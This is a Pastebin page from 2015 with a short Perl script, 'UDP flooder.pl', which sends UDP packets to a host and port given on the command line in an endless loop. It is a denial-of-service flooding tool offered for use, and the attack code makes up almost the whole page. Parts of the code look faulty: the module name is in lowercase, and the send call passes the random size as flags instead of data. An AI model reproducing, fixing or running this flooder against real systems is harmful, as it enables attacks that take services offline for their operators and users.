Advertisement
TP2K1

UDP flooder.pl [Perl]

Jun 27th, 2015
1,040
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #Flood.pl by TP2K1
  4. #simple UDP flooder.
  5.  
  6. use io::socket;
  7.  
  8. $ARGC = @ARGV;
  9.  
  10. if ($ARGC != 2) {
  11.  
  12. print("Usage: $0 host port \n");
  13. exit(1);
  14.  
  15. }
  16.  
  17. ($host, $port) = @ARGV;
  18.  
  19.  
  20. $sock = IO::Socket::INET->new(
  21. PeerAddr => $host,
  22. PeerPort => $port,
  23. Proto => "udp") || die "$! Could not create sock";
  24.  
  25. packets:
  26. while (1) {
  27. $size = rand() * rand() * rand();
  28. print ("flooding $host on the $port port and size is $size\n");
  29. send($sock, 0, $size);
  30.  
  31. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement